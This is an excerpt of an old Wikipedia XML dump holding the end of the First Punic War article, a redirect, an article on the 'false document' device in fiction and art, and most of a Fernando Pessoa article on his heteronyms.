Despite the Roman victories in sea, the Roman Republic lost most ships and crews during the war, largely due to storms. On at least two occasions ([[255 BC|255]] and [[253 BC]]) whole fleets were destroyed in bad weather. The weight of the ''corvus'' on the prows of the ships made the ships unstable and caused them to sink in bad weather. Towards the end of the war Carthage ruled the seas, as Rome was unwilling to finance the construction of yet another expensive fleet. Nevertheless the Carthaginian faction that opposed the conflict, led by the land-owning [[aristocrat]] [[Hanno the Great]], gained power and in [[244 BC|244]] started the demobilization of the fleet, giving the Romans a chance to attain again naval superiority. Rome did build another fleet paid for with donations from wealthy citizens and the First Punic War was decided in the naval battle of the [[Aegadian Islands|Aegates Islands]] ([[March 10]] [[241 BC]]), where the new Roman fleet under consul [[Gaius Lutatius Catulus]] scored a victory. Carthage lost most of its fleet and was economically incapable of funding another, or to find manpower for the crews. With no fleet, Hamilcar Barca was cut from Carthage and forced to surrender.

==Aftermath==
Rome won the First Punic War after 23 years of conflict and in the end replaced Carthage as the dominant naval power of the Mediterranean. In the aftermath of the war, both states were financially and demographically exhausted. To determine the final borders of their territories, they drew what they considered a straight line across the Mediterranean. [[Hispania]], Corsica, Sardinia and Africa remained Carthaginian. All that was north of that line was signed over to Rome. Rome's victory was greatly influenced by its persistent refusal to admit defeat and by accepting only total victory. Moreover, the Roman Republic's ability to attract private investments in the war effort, by playing on their citizens' patriotism to fund ships and crews, was one of the deciding factors of the war, particularly when contrasted with the Carthaginian nobility's apparent unwillingness to risk their fortunes for the common good. The end of the First Punic War also resulted in the official birth of the Roman navy, which greatly assisted the expansion of the Roman state.

===Casualties=== 
The exact number of casualties on each side is always difficult to determine, due to bias in the historical sources, normally directed to enhance Rome's value. (History is often written by the victors.)

According to sources (excluding land warfare casualties):
*Rome lost 700 ships (mainly to bad weather and incompetent leaders) and at least part of their crews.
*Carthage lost 500 ships and at least part of their crews.
*Each ship's crew was of about 100 men.

Although uncertain, the casualties were heavy for both sides. [[Polybius]] commented that the war was, at the time, the most destructive in terms of casualties in the history of warfare, including the battles of [[Alexander the Great]]. Analyzing the data from the Roman ''[[census]]'' of the 3rd century BC, [[Adrian Goldsworthy]] noted that during the conflict Rome lost about 50,000 citizens. This excludes auxiliary troops and every other man in the army without citizen status, who would be outside the head count.

===Peace terms===
The peace terms designed by the Romans were particularly heavy for Carthage, which was in no position to negotiate. The Romans demanded that:

*Carthage evacuate Sicily
*Carthage return their prisoners of war without ransom, while paying heavy ransom on their own
*Carthage refrain from attacking Syracuse and her allies
*Carthage transfer a group of small islands north of Sicily to Rome
*Carthage evacuate all of the small islands between Sicily and Africa
*Carthage pay a 2200 [[Talent (weight)|talent]] indemnity in ten annual instalments, plus an additional indemnity of 1000 talents immediately

Further clauses determined that the allies of each side would not be attacked by the other, no attacks were to be made by either side upon the other's allies and both sides were prohibited from raising troops within the territory of the other. This prevented the Carthaginians access to any Roman mercenary manpower.

===Political results===
In the aftermath of the war, Carthage had virtually no funds. When Hanno the Great refused to pay the disbanded military armies, an internal conflict, the [[Mercenary War]], broke out. After a hard struggle the combined efforts of Hamilcar Barca and Hanno the Great were finally able to defeat the mercenaries. However, during this conflict, Rome took the opportunity to strip Carthage of [[Corsica]] and [[Sardinia]] as well.

Perhaps the most immediate political result of the First Punic War was the downfall of Carthage as a major naval power. Conditions signed in the peace treaty compromised Carthage's economic situation and prevented the city's recovery. The indemnity demanded by the Romans caused additional strain on the city's finances and forced Carthage to look to other areas of influence for the money to pay Rome. An interesting comparison can be drawn with the politics of [[Germany]] following the defeat in [[World War I]] and the [[Treaty of Versailles]], which then led into [[World War II]]. 

As for Rome, the end of the First Punic War marked the start of the expansion beyond the Italian Peninsula. Sicily became the first [[Roman province]] ([[Sicilia (Roman province)|Sicilia]]) governed by a former [[praetor]], instead of an ally. Sicily would become very important to Rome as [[Grain supply to the city of Rome|a source of grain]].

==Notable leaders==
*[[Ad Herbal]], Carthaginian admiral
*[[Appius Claudius Caudex]], Roman consul
*[[Aulus Atilius Caiatinus]], Roman dictator
*[[Gaius Duilius]], Roman consul 
*[[Gaius Lutatius Catulus]], Roman consul 
*[[Gnaeus Cornelius Scipio Asina]], Roman consul
*[[Hamilcar Barca]], Carthaginian general
*[[Hannibal Gisco]], Carthaginian general
*[[Hanno the Great]], Carthaginian politician.
*[[Hasdrubal]], Carthaginian general 
*[[Hiero II of Syracuse|Hiero II, tyrant of Syracuse]]
*[[Caecilius Metellus|Lucius Caecilius Metellus]], Roman consul 
*[[Marcus Atilius Regulus]], Roman consul 
*[[Publius Claudius Pulcher]], Roman consul 
*[[Xanthippus]], mercenary in the service of Carthage

==Chronology==
*'''[[264 BC]]''' - The Mamertines plead assistance to both Rome and Carthage to deal with the attacks of Hiero II of Syracuse. Rome responds only after Carthage. 

*'''[[263 BC]]''' - Hiero II is defeated by consul [[Manius Valerius Messalla]] and is forced to change Syracuse's alliance to Rome. 

*'''[[262 BC]]''' - Roman intervention in Sicily. The city of Agrigentum, occupied by Carthage, is besieged.

*'''[[261 BC]]''' - [[Battle of Agrigentum]], which results in a Roman victory. Rome decides to build a fleet to threaten Carthaginian domination in the sea.

*'''[[260 BC]]''' - First naval encounter ([[battle of the Lipari Islands]]) is a disaster to Rome, but soon afterwards, [[Gaius Duilius]] wins the [[battle of Mylae]] with the help of the ''[[corvus (weapon)|corvus]]'' engine.

*'''[[259 BC]]''' - The land fighting is extended to [[Sardinia]] and [[Corsica]].

*'''[[258 BC]]''' - Naval [[battle of Sulci]]: Roman victory.

*'''[[257 BC]]''' - Naval [[battle of Tyndaris]]: Roman victory.

*'''[[256 BC]]''' - Rome attempts to invade Africa and Carthage attempts to intersect the transport fleet. The resulting [[battle of Cape Ecnomus]] is a major victory for Rome, who lands in Africa and advances on Carthage. The [[battle of Adys]] is the first Roman success in African soil and Carthage sues for peace. Negotiations fail to reach agreement and the war continues.

*'''[[255 BC]]''' - The Carthaginians employ a [[Sparta]]n general, [[Xanthippus]], to organize their defences and defeat the Romans at the [[battle of Tunis]]. The Roman survivors are evacuated by a fleet to be destroyed soon afterwards, on their way back to Sicily. 

*'''[[254 BC]]''' - A new fleet of 140 Roman ships is constructed to substitute the one lost in the storm and a new army is levied. The Romans win a victory at [[battle of Panormus|Panormus]], in Sicily, but fail to make any further progress in the war. Five Greek cities in Sicily defect from Carthage to Rome. 

*'''[[253 BC]]''' - The Romans then pursued a policy of raiding the African coast east of Carthage. After an unsuccessful year the fleet head for home. During the return to Italy the Romans are again caught in a storm and lose 150 ships.

*'''[[251 BC]]''' - The Romans again win at Panormus over the Carthaginians, led by Hasdrubal. As a result of the recent losses, Carthage endeavours to strengthen its garrisons in Sicily and recapture Agrigentum. Romans begin siege of Lilybaeum.

*'''[[249 BC]]''' - Rome loses almost a whole fleet in the [[battle of Drepana]]. In the same year [[Hamilcar Barca]] accomplishes successful raids in Sicily and yet another storm destroys the remainder of the Roman ships. Aulus Atilius Caiatinus is appointed dictator and sent to Sicily.

*'''[[248 BC|248]]''' - Beginning of a period of low intensity fighting in Sicily, without naval battles. This lull would last until [[241 BC]].

*'''[[244 BC]]''' - With little to no naval engagements, [[Hanno the Great]] of Carthage advocates demobilization of large parts of the Cathaginian navy to save money. Carthage does so.

*'''[[242 BC]]''' - Rome constructs another major battle fleet.

*'''[[241 BC]]''' - On [[March 10]] takes place the [[Battle of the Aegates Islands]], with a decisive Roman victory. Carthage is force to accept peace terms and the First Punic War ends.

==References==
*'''The Punic Wars''', by [[Adrian Goldsworthy]], Cassel
*'''The First Punic War''' by [[J.F.Lazenby]], 1996, UCLPress
*'''World History''' by [[Polybius]], 1.7 - 1.60

== External links==
* [http://www.livius.org/ps-pz/punic_war/1pw00.html Polybius on the First Punic War] The full text of Polybius's account of the war

[[Category:Carthaginian conflicts]]
[[Category:Wars of Ancient Rome|Punic War, First]]
[[Category:264 BC]]

[[ar:حرب بونيقية أولى]]
[[bg:Първа пуническа война]]
[[ca:Primera Guerra Púnica]]
[[da:Første puniske krig]]
[[de:Erster Punischer Krieg]]
[[es:Primera Guerra Púnica]]
[[fr:Première Guerre punique]]
[[it:Prima guerra punica]]
[[he:המלחמה הפונית הראשונה]]
[[nl:Eerste Punische oorlog]]
[[pl:I wojna punicka]]
[[pt:Primeira guerra púnica]]
[[ru:Первая Пуническая война]]
[[scn:Prima guerra pùnica]]
[[sk:Prvá púnska vojna]]
[[fi:Ensimmäinen puunilaissota]]
[[sv:Första puniska kriget]]
[[zh:第一次布匿战争]]</text>
    </revision>
  </page>
  <page>
    <title>Frame tale</title>
    <id>11428</id>
    <revision>
      <id>15909173</id>
      <timestamp>2004-08-30T21:52:47Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>#REDIRECT [[Frame story]]</comment>
      <text xml:space="preserve">#REDIRECT [[Frame story]]</text>
    </revision>
  </page>
  <page>
    <title>False document</title>
    <id>11429</id>
    <revision>
      <id>38829776</id>
      <timestamp>2006-02-08T22:41:16Z</timestamp>
      <contributor>
        <username>Drae</username>
        <id>897178</id>
      </contributor>
      <minor />
      <comment>Style Improvement Project - [[Wikipedia:Elements of Style Improvement Project|You can help !]]</comment>
      <text xml:space="preserve">A '''false document''' is a form of [[verisimilitude]] that attempts to create in the reader (viewer, audience, etc) a sense of authenticity beyond the normal and expected [[suspension of disbelief]]. That is, it wants to fool the audience briefly into thinking that what is being presented is actually a fact. This is not to be confused with a [[mockumentary]], an admittedly [[fictional film]] done in the manner of a documentary.

In practice, the device takes a very simple form. The [[work (fine arts)|work of art]] (be it a text, a moving image, a comic book or whatever) usually is composed of or includes some piece of [[forgery]]. The false document effect can be achieved in many ways including faked police reports, newspaper articles, bibliographical references and documentary footage. The effect can be extended outside of the confines of the text by way of supplementary material such as badges, ID cards, diaries, letters or other objects.

The moral and legal implications of false document art are, by necessity, complex and perhaps insoluble. The difference between a great artistic achievement and a stunning forgery is slim. Sometimes the false document technique can be the subject of a work instead of its technique, though these two approaches are not mutually exclusive as many texts which engage falseness do so both on the literal and the thematic level.

==Origin of the false document technique==
One of the earliest examples of the technique is the 16th century [[romance (genre)|romance]] ''[[Amadis de Gaula|Amadis of Gaul]]'' ([[1508]], [[Garci Rodríguez de Montalvo]]).

== False documents in film==
The 1973 film ''[[The Texas Chain Saw Massacre]]'' claims to be based on true events, but this is not the case.

== False documents in art==
[[Orson Welles]]' ''[[F for Fake]]'' is a prime example of a film which is both about [[falsification]] ([[art forgery]] and the journalism surrounding art forgery) as well as having falsified moments within the film. The movie follows the exploits of a famous art forger, his biographer [[Clifford Irving]], and the subsequent fake [[autobiography]] of [[Howard Hughes]] that Irving tries to publish. The issues of veracity and forgery are explored in the film while at the same time, Welles tricks the audience by incorporating fake bits of narrative alongside the documentary footage.

Another artist who has run afoul of the technique is the artist [[JSG Boggs]], whose life and work have been extensively explored by author and journalist [[Lawrence Weschler]]. Boggs draws currency with exceptional care and accuracy, but he only ever draws one side. He then attempts to buy things with the piece of paper upon which he has drawn the currency. His goal is to pass each bill for its face value in common transactions. He buys lunch, clothes, and lodging in this manner, and after the transactions are complete his bills fetch many times their face value on the art market along with accompanying evidence (receipts, photos, and the like) which prove the veracity of the actual transaction. Boggs does not make any money off of the much larger art market value of his work. He only exists on the profit of the actual transaction. He has been arrested in many countries, and there is much controversy surrounding his work.

Mostly, however, the technique is employed in more mundane ways that hark back to its nineteenth century origins. Whether a particular piece of art is a false document, or is using false documentary techniques in a central way, is of course arguable. Usually, the character and extent of the use is examined.

== False documents, fakery and forgery ==
Documentary filmmaking, and other attempts at actual documentation, can wittingly and unwittingly participate in the form as its goals of authenticity are so closely aligned with direct false documentation (that is, in both cases there is an element of authenticity and an element of narrative fudging). In Schwarzenegger's ''Pumping Iron'' for example, Arnold talks about how his father died in the months preceding a major body building competition. He uses this [[anecdote]] to illustrate how important the final months before a competition are to a truly dedicated bodybuilder. He says that, though his father's funeral was set during the penultimate month, he did not attend because he could not be distracted from training. However, in the companion book it is revealed that at the time of printing, Arnold's father had not died. It does not say the story was a lie, it merely provides contrary evidence. Schwarzenegger was executive producer of both the film and the companion book. It has been theorized by Professor Sally Robinson that Schwarzenegger was intentionally undermining his own narrative, effectively creating a mildly self-deprecating re-examination of his own obsessions for perfection at any cost. In the end, whether Arnold intentionally fabricated the story for a desired effect is left to the audience.

== False documents in theory ==
* ''[[Boggs]]'' by [[Lawrence Weschler]]
* ''[[Mr. Wilson's Cabinet of Wonder]]'' by [[Lawrence Weschler]]
* ''[[Simulacra and Simulation]]'' by [[Jean Baudrillard]]

== False documents in fiction ==
Several fiction writers use the technique of inventing a piece of literature or non-fiction and referring to this work as if it actually existed, often also quoting from the work. 

Blurring the line of reality and fiction is an important component of horror, mystery, [[Detective fiction|detective]] and fantasy narratives because they wish to engender in the reader a sense of wonder, and of danger, both of which need to feel more present than a typical narrative form would allow. For this reason, false documentary techniques have been in use for at least as long as these literary genres have been around. ''[[Frankenstein]]'' draws heavily on a forged document feel, as does ''[[Dracula]]'', ''[[The Strange Case of Dr. Jekyll and Mr. Hyde]]'' and many of the works of [[Jules Verne]] and [[H.G. Wells]].  [[Vladimir Nabokov|Vladimir Nabokov's]] ''[[Pale Fire]]'' is a particularly elaborate variation.

The following is a list of &quot;false document&quot; fictional documents:

* [[Miguel de Cervantes]] claims that all the chapters but the first in [[Don Quixote]] are translated from an Arabic manuscript by ''Cide Hamete Benengeli''. He is parodying a plot device of [[chivalric romance|chivalry book]]s. For instance, [[Joanot Martorell]] in the introductory letter to [[Tirant lo Blanc]] claims to be not the creator of a fiction, but the translator of an English historical manuscript.
* [[Daniel Defoe]]'s ''[[Robinson Crusoe]]'' was supposedly the [[autobiography]] of the [[title character]], an [[English people|English]] [[castaway]] who spent 28 years on a remote [[island]]. The account was presented as a factual event, in a genre called [[Histories_(history_of_the_novel)|histories]].
* [[Jonathan Swift]]'s ''[[Gulliver's Travels]]'' was originally attributed to &quot;[[Lemuel Gulliver]]&quot;, a ship's surgeon, and purported to be a factual account of four of his sea voyages. It even includes a rather irate bogus note from Gulliver to his publisher. It may be debatable whether the book is an example of a False Document, but is included because it initially bore little or no indication that it was a work of fiction.
* [[Bram Stoker]]'s novel [[Dracula]] is told in the form of numerous documents, including journals and newspaper articles. A brief introduction claims that they are all real.
* ''The [[Necronomicon]]'' appearing in the works of [[H. P. Lovecraft]]
* Author [[William Goldman]] claims in his book [[The Princess Bride]] that the story he tells is an abridged version of the Florentian literary masterpiece by the great (and fictional) [[S. Morgenstern]].
* [[Fritz Leiber]]'s novella ''Our Lady of Darkness'' revolves around the secret occult studies of fictional author/occultist Thibaut de Castries and his book ''[[Megapolisomancy]]: A New Science of Cities.''
* ''First Encyclopaedia of Tlön'' appearing in the short story &quot;[[Tlön, Uqbar, Orbis Tertius]]&quot; by [[Jorge Luis Borges]], plus several other fictional books invented by the same author, including an entire [[bibliography]] for the fictional author [[Pierre Menard (fictional character)|Pierre Menard]].
* Several works of the fictional author ''Fanshawe'' appearing in [[Paul Auster]]'s ''The Locked Room'' in ''[[The New York Trilogy]]''.
* ''The [[Red Book of Westmarch]]'' and a surviving copy of it called ''The Thain's Book'', portions of which were &quot;translated&quot; by [[J.R.R Tolkien]] into his novels ''[[The Hobbit]]'' and ''[[The Lord of the Rings]]''.
* ''Never Whistle While You're Pissing'' is the work of the fictional character Hagbard Celine in the [[Illuminatus! Trilogy]] by [[Robert Shea]] and [[Robert Anton Wilson]].
* [[Michael Crichton]]'s ''[[Eaters of the Dead]]'' is a fabricated recreation of the [[Old English language|Old English]] [[Epic poetry|epic]] ''[[Beowulf]]'' in the form of a scholastic translation of [[Ahmad ibn Fadlan]]'s [[tenth century]] manuscript. Many of his other fictions, such as ''[[The Andromeda Strain]]'' and ''[[Jurassic Park]]'', also incoporated large amounts of fabricated scientific documents in the form of diagrams, [[DNA]] sequences, footnotes and bibliography.
* Dozens of fictional footnotes referencing events, books of magical scholarship, and biographies in ''[[Jonathan Strange &amp; Mr Norrell]]'', the debut novel by [[Susanna Clarke]].
* [[Milorad Pavich]]'s ''[[Dictionary of the Khazars]]'' is a work of fiction in the form of three fictional [[encyclopedia]]s, which incorporate viewpoints that provide inconsistent descriptions of the events they describe.
* ''[[A Princess of Mars]]'' by [[Edgar Rice Burroughs]] claims to be the manuscript of [[Barsoom_series#John_Carter|John Carter]] except for the first chapter explaining how the manuscript was received.
* ''[[House of Leaves]]'' by [[Mark Z. Danielewski]] is a work of fiction revolving around the discovery of a manuscript critiquing a documentary called The Navidson Record and its effects on both its author and editor.
* The [[Flashman]] books by [[George Macdonald Fraser]] are supposedly edited versions of the title character's memoirs.
* ''[[The Hitchhiker's Guide to the Galaxy]]'' by [[Douglas Adams]] is named for a fictional galactic encyclopedia that one of the main characters works for. The book also frequently quotes the fictional ''Guide''.

== Hoaxes ==
{{Main|hoax}}

A number of [[hoax]]es have involved false documents:

* &quot;Transgressing the Boundaries: Toward a Transformative Hermeneutics of Quantum Gravity&quot; &lt;br&gt;by Alan Sokal, (Spring/Summer 1996 issue of ''Social Text''). See [[Sokal Affair]]
* &quot;[[Thiotimoline|The endochronic properties of resublimated thiotimoline]]&quot;, [[Isaac Asimov]].
* [[Salamander Letter]]
* ''[[Journal of Irreproducible Results]]''
* ''The [[Report From Iron Mountain]]''
* The [[Oera Linda]] book
* The [[Hitler Diaries]]
* The [[Protocols of the Elders of Zion]]

==False documents as a field of study==
False documents were recently the topic of a graduate level seminar in the humanities at the [[University of Michigan]]. The seminar was taught by Professor Eileen Pollack. While the form has existed for at least two hundred years, focused study is fairly recent.

==See also==

* [[A Racial Program for the Twentieth Century]], an anti-Semitic forgery
* [[Conspiracy theory]]
* [[Donation of Constantine]]
* [[Epistolary novel]]
* [[Falsification]]
* [[Fictional guidebook]]
* [[Forgery]]
* [[Frame tale]]
* [[Literary technique]]
* [[Nihilartikel]]
* [[Questioned document examination]]
* [[Urban legend]]
* [[Voynich manuscript]]

== External links ==
* [http://www.awpwriter.org/magazine/writers/epollack.htm False Document Article in the AWP Magazine]

[[Category:Narratology]]
[[Category:False documents|*]]

[[nl:Lijst van vervalsingen die in de geschiedenis een grote rol hebben gespeeld]]</text>
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  <page>
    <title>Fernando Pessoa</title>
    <id>11431</id>
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      <timestamp>2006-02-21T00:20:55Z</timestamp>
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      <comment>iw</comment>
      <text xml:space="preserve">[[Image:Pessoasize.jpg|thumb|Fernando Pessoa]]
'''Fernando''' António Nogueira '''Pessoa''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|fɨɾ.'nɐ̃.du pɨ.'so.ɐ}}/)  (b. [[June 13]], [[1888]] in [[Lisbon]], [[Portugal]] — d. [[November 30]], [[1935]] in the city of his birth) was a [[poet]] and [[writer]], seen by many as one of the most notable Portuguese authors of all time. Critic [[Harold Bloom]] referred to him in the book ''The Western Canon'' as the most representative poet of the [[20th century]], along with [[Pablo Neruda]]. Pessoa is unique as an author due to the prevalence of [[heteronym (poetry)|heteronym]]s in his writing, with few of his poems being signed by himself.
[[Image:Lisboa-Pessoa-A Brasileira-1.jpg|thumb|Pessoa's statue in front of famous Lisbon café &quot;''A Brasileira''&quot;.]]
== Biographical overview ==
When Pessoa was five years old, his father died of [[tuberculosis]]. A year later, his brother also passed away and his widowed mother eventually married the Portuguese consul in [[Durban]], [[South Africa]], moving to the city in [[1896]]. The young Pessoa received his early education in [[Cape Town]] [http://www.kirjasto.sci.fi/pessoa.htm], becoming fluent in the [[English language]] and developing an appreciation for English poets such as [[William Shakespeare]] and [[Milton]].

He then went back to Lisbon, at the age of 17, attending there &quot;Curso Superior de Letras&quot; in a Portuguese university. A [[student strike]] soon put an end to his studies, however, and Pessoa chose to study privately for a year at home. His term of study ended and Pessoa found a job working as an assistant for a businessman, where he was charged with writing correspondence and translating documents. In 1914, he and other artists and poets, like 
[[Almada Negreiros]] and [[Mário de Sá Carneiro]] made the literary magazine Orpheu that would introduce modern literature in Portugal. Pessoa died of [[cirrhosis]] in 1935, almost unknown to the public and only with one book published: &quot;''Mensagem''&quot; (Message).

== Genesis of heteronyms ==
Pessoa's earliest heteronyms were '''Charles Robert Anon''' and '''Alexander Search'''; these were eventually succeeded by others, most notably: '''Alberto Caeiro''', '''Álvaro de Campos''', '''Ricardo Reis''' and semi-heteronym '''Bernardo Soares'''. The heteronyms possess distinct temperaments, philosophies, appearances and writing styles. According to Pessoa, the heteronym closest to his personality was Bernardo Soares, the author of ''Book of Disquiet''. (For a more comprehensive discussion of the genesis of the heteronyms see: [http://www.geocities.com/idol911_4life/letter.html Genesis of Heteronyms])

== Alberto Caeiro ==
:''I have no ambitions and no desires.''
:''To be a poet is not my ambition,''
:''It's my way of being alone.''

:&amp;ndash; Alberto Caeiro: 'The Keeper of Sheep' 

Alberto Caeiro is Pessoa's first great heteronym.

The best summarization of Caeiro is given by Pessoa himself: &quot;He sees things with the eyes only, not with the mind. He does not let any thoughts arise when he looks at a flower... the only thing a stone tells him is that it has nothing at all to tell him... this way of looking at a stone may be described as the totally unpoetic way of looking at it. The stupendous fact about Caeiro is that out of this sentiment, or rather, absence of sentiment, he makes poetry.&quot;

What makes Caeiro such an original poet is the way he apprehends existence. He does not question anything whatsoever; he calmly accepts the world as it is. The recurrent themes to be found in nearly all of Caeiro's poems are &quot;wide-eyed child-like wonder at the infinite variety of nature&quot;, as noted by a critic. He is free of [[metaphysical]] entanglements. Central to his world-view is the idea that in the world around us, all is surface: things are precisely what they seem, there is no hidden meaning anywhere.

He manages thus to free himself from the anxieties that batter his peers; for Caeiro, things simply exist and we have no right to credit them with more than that. Our unhappiness, he tells us, springs from our unwillingness to limit our horizons. As such, Caeiro attains happiness by not questioning, and by thus avoiding doubts and uncertainties. He apprehends reality solely through his eyes, through his senses. What he teaches us is that if we want to be happy we ought to do the same. [[Octavio Paz]] called him &quot;the innocent poet&quot;. Paz made a shrewd remark on the heteronyms: &quot;In each are particles of negation or unreality. Reis believes in form, Campos in sensation, Pessoa in symbols. Caeiro doesn't believe in anything. He exists.&quot;

Poetry before Caeiro was essentially interpretative; what poets did was to offer us an interpretation of their perceived surroundings; Caeiro does not do this. Instead, he attempts to communicate his senses, his feelings to us, without any interpretation whatsoever.

Caeiro teaches us to apprehend Nature differently; he asks of us, simply, to see what is before us. Poets before him would have made use of intricate metaphors to describe what was before them; not so Caeiro: his self-appointed task is to bring these objects to the reader's attention, as directly and simply as possible. Caeiro sought a direct experience of the objects before him.

It does not surprise us that Caeiro has been called an anti-intellectual, anti-Romantic, anti-subjectivist, anti-metaphysical...an anti-poet, by critics; Caeiro simply--is. He is in this sense very unlike his creator Fernando Pessoa: Pessoa was besieged by metaphysical uncertainties; these were, to a large extent, the cause of his unhappiness; not so Caeiro: his attitude is anti-metaphysical; he avoided uncertainties by adamantly clinging to a certainty: his belief that there is no meaning behind things. Things, for him, simply--are.

Caeiro represents a primal vision of reality, of things. He is the pagan incarnate. Indeed Caeiro, Richard Zenith tells us, was not simply a pagan but 'paganism itself'.

The critic Jane M. Sheets, sees the insurgence of Caeiro--who was Pessoa's first major heteronym-- as essential in founding the later poetic personas: &quot;By means of this artless yet affirmative anti-poet, Caeiro, a short-lived but vital member of his coterie, Pessoa acquired the base of an experienced and universal poetic vision. After Caeiro's tenets had been established, the avowedly poetic voices of Campos, Reis and Pessoa himself spoke with greater assurance.&quot;

== Ricardo Reis ==
:''As long as I feel the full breeze in my hair''
:''And see the sun shining bright on the leaves,''
:''I will not ask for more.''
:''What better thing could destiny give me''
:''Than the sensual passing of life in moments''
:''Of ignorance like this?''

:&amp;ndash; Ricardo Reis 

Reis sums up his philosophy of life: he admonishes: 'see life from a distance. never question it. there's nothing it can tell you.' Like Caeiro, Reis defers from questioning life; his philosophy entails the avoidance of pain; man for him should seek tranquillity and calm above all else. Richard Zenith notes Reis' recurrent themes: 'the brevity of life, the vanity of wealth and struggle, the joy of simple pleasures, patience in time of trouble, and avoidance of extremes.'

He is in a sense a passive poet: his philosophy is one of resignation. Is his stance a product of weariness? He lacks the joviality which characterizes Caeiro. Reis's poetry, as noted by a critic, is austere and cerebral. He is detached, intellectual, like his creator Fernando Pessoa. Pessoa's heteronyms in one way or another represent aspects of the poet himself. Reis represents Pessoa's wish for measure and sobriety; a world free of troubles and respite.

Reis, a pagan, is decidedly un-Christian: he casts off the fetters of Christianity which he feels encumber his existence; instead he chooses to worship the ancient Greek gods. He chants: 'Your dead gods tell me nothing I need to know. Without love or hatred I dismiss the crucifix from my way of being.'

Reis is a modern pagan who urges one to seize the day and accept fate with tranquility. 'Wise is the one who does not seek', he says; and continues: 'the seeker will find in all things the abyss, and doubt in himself.' In this sense Reis shares essential affinities with Caeiro.

The essential difference between the two is that while Caeiro's predominant attitude is that of joviality, Reis is marked by melancholy; he is saddened by the impermanence of all things. And while it is true that Caeiro can be sad, his is of a different kind. 'My sadness,' Caeiro says, 'is a comfort for it is natural and right.'

== Álvaro de Campos ==
:''Não sou nada.''
:''Nunca serei nada.''
:''Não posso querer ser nada.''
:''À parte isso, tenho em mim todos os sonhos do mundo.''

: (''I'm nothing.''
:''I'll always be nothing.''
:''I can't want to be something.''
:''But I have in me all the dreams of the world.'')

:&amp;ndash; Álvaro de Campos: 'Tabacaria' ('The Tobacco Shop')

Álvaro de Campos is undoubtedly Pessoa's greatest heteronym. 'Campos,' as Zenith notes, 'was the most substantial of Pessoa's heteronyms and the one closest to his true heart and person...he was in many ways a larger-than-life version of his creator.' Of the three heteronyms he is the one who feels the strongest; his motto was 'to feel everything in every way.' 'The best way to travel,' he wrote, 'is to feel.'

Campos manifests two contrary impulses: on the one hand: a feverish desire to be everything and everyone, declaring that 'in every corner of my soul stands an altar to a different god.' The second impulse is toward a state of isolation and a sense of nothingness.

Of the first of these impulses: Campos is possessed of the Whitmanian desire to 'contain multitudes'. Critics have noted how 'Whitman's influence is apparent in part in the sheer vitality of these poems, in the zest for experience which they express.' Indeed Campos has in many respects outdone his precursor in 'containing multitudes': it seems that the entire cosmos is not enough for him to 'contain'. After chanting all the places, all the ports, all the sights he's seen.... 'Of all this,' he remarks, 'which is so much, is nothing next to what I want.'

One of the poet's constant preoccupations is that of identity: he does not know who he is. The problem, it seems, is not that he doesn't know what to be; on the contrary: he wants to be too much, everything; short of achieving this he despairs. Unlike Caeiro, who asks nothing of life, he asks too much. In his poetic meditation 'Tobacco Shop' he asks:

:''How should I know what I'll be, I who don't know what I am?''
: Be what I think? But I think of being so many things!''

Campos can be manic-depressive, exultant, violent, dynamic; he quests for nowhere and everywhere at once. His is an agonized doubt at the wasting of life-- at life, everything. For a critic he is 'par excellence the poet appalled by the emptiness of his own existence, lethargic, lacking in will-power, seeking inspiration, or at all events finding it, in semi-conscious states, in the twilight world between waking and sleeping, in dreams and in drunkenness.'

== Fernando Pessoa-himself ==
:''The poet is a faker''
:''Who's so good at his act''
:''He even fakes the pain''
:''Of pain he feels in fact''

:&amp;ndash; Fernando Pessoa-himself: Autopsychography 

'Fernando Pessoa-himself' is not the 'real' Fernando Pessoa. Like Caeiro, Reis and Campos-- Pessoa-himself embodies only aspects of the poet. As will be seen Fernando Pessoa's personality is not stamped in any given voice; his personality is diffused through the heteronyms. For this reason 'Fernando Pessoa-himself' stands apart from the poet proper.

In reading the poetry of Pessoa-himself we shall realize that he shares many essential affinities with his peers, Caeiro and Campos in particular. Lines crop up in his poems that may as well be ascribed to Campos or Caeiro. It is useful to keep this in mind as we read this exposition.

The critic Leland Guyer sums up Pessoa-himself: &quot;the poetry of the orthonymic Fernando Pessoa normally possesses a measured, regular form and appreciation of the musicality of verse. It takes on intellectual issues, and it is marked by concern with dreams, the imagination and mystery.&quot;

Richard Zenith calls Pessoa-himself '[Pessoa's] most intellectual and analytic poetic persona.' Like Álvaro de Campos, Pessoa-himself was afflicted with an acute identity crisis. Pessoa-himself has been described as indecisive and doubt plagued, as restless. Like Campos he can be melancholic, weary, resigned. The strength of Pessoa-himself's poetry rests in his ability to suggest a sense of loss; of sorrow for what can never be.

A constant theme in Pessoa's poetry is Tedio, or Tedium. The dictionary defines this word simply as 'a condition of being tedious; tediousness or boredom.' This definition does not sufficiently encompass the peculiar brand of tedium experienced by Pessoa-himself. His is more than simple boredom: it is a world weariness and disgust with life; a sense of the finality of failure; of the impossibility of having anything to want.

'The impossibility of having anything to want': this is Tedio for Pessoa-himself. It is one thing to have nothing to do or want, but to be deprived even of this...is tedium. Kierkegaard tells how if asked to choose between the two; between a perpetual state of boredom, or eternal bodily pain; he would choose--eternal bodily pain. Pessoa-himself, I believe, would undoubtedly concur with the melancholy Dane.

== Message ==
''Mensagem'' ([[Message]]) is a very unusual 20th century book: it is a symbolist epic made up of 44 short poems organized in three parts or Cycles: The first called &quot;Brasão&quot; (Coat-of-Arms) relates Portuguese historical protagonists to each of the fields and charges in the Portuguese coat-of-arms. The first two poems (&quot;The castles&quot; and &quot;The escutcheons&quot;) draw inspiration from the material and spiritual natures of Portugal. Each of the remaining poems associates to each charge a historical personality. Ultimately they all lead to the Goldean Age of Discovery.

The second Part, called &quot;Mar Português&quot; (Portuguese Sea) refers the country's Age of Portuguese Exploration and to its sea-borne Empire that ended with the death of King Sebastian at El-Ksar el-Kebir (in 1578). Pessoa brings the reader to the present as if he had woken up from a dream of the past, to fall in a dream of the future: he sees King Sebastian returning and still bent on accomplishing an Universal Empire, like King Arthur heading for Avalon...

The third Cycle, called &quot;O Encoberto&quot; (&quot;The Hidden One&quot;), is the most disturbing. It refers to Pessoa's vision of a future world of peace and the Fifth Empire. After the Age of Force, (Vis), and Taedium (Otium) will come Science (understanding) through a reawakening of &quot;The Hidden One&quot;, or &quot;King Sebastian&quot;. The Hidden One represents the fulfillment of the destiny of mankind, designed by God since before Time, and the accomplishment of Portugal.

